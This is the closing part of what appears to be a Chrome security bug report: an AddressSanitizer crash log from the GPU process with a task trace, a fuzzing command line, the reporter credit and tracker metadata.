Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

==9144==ADDITIONAL INFO

==9144==Note: Please include this section with the ASan report. Task trace: #0 0x7ffb49468f35 in gpu::Scheduler::RunNextTask(void) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:654:27 #1 0x7ffb49463abb in gpu::Scheduler::TryScheduleSequence(class gpu::Scheduler::Sequence *) C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler.cc:439:29

Command line: "C:\chrome\asan\build\chrome.exe" --type=gpu-process --no-sandbox --headless=new --use-angle=d3d11 --noerrdialogs --user-data-dir="C:\chrome\asan\udd_texfuzz_d3d11_12912" --disable-breakpad --no-pre-read-main-dll --force-high-res-timeticks=disabled --start-stack-profiler --gpu-preferences=WAAAAAAAAADoAQAMAAAAAAAAAAAAAMAAQAAAAAAAAAADAAAAAAAAADgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAoAAAAAAAAAAgAAAAAAAAAEAAAAAIAAAABAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --field-trial-handle=1960,i,10161796873122917280,11239096732217716668,262144 --disable-features=DialMediaRouteProvider,PaintHolding --variations-seed-version --pseudonymization-salt-handle=2088,i,8754868003409616518,10254790157041011126,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr --v=0 --mojo-platform-channel-handle=1864 /prefetch:2 --no-first-run

==9144==END OF ADDITIONAL INFO

==9144==ABORTING

Reporter credit:

Đặng Thế Tuyến

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker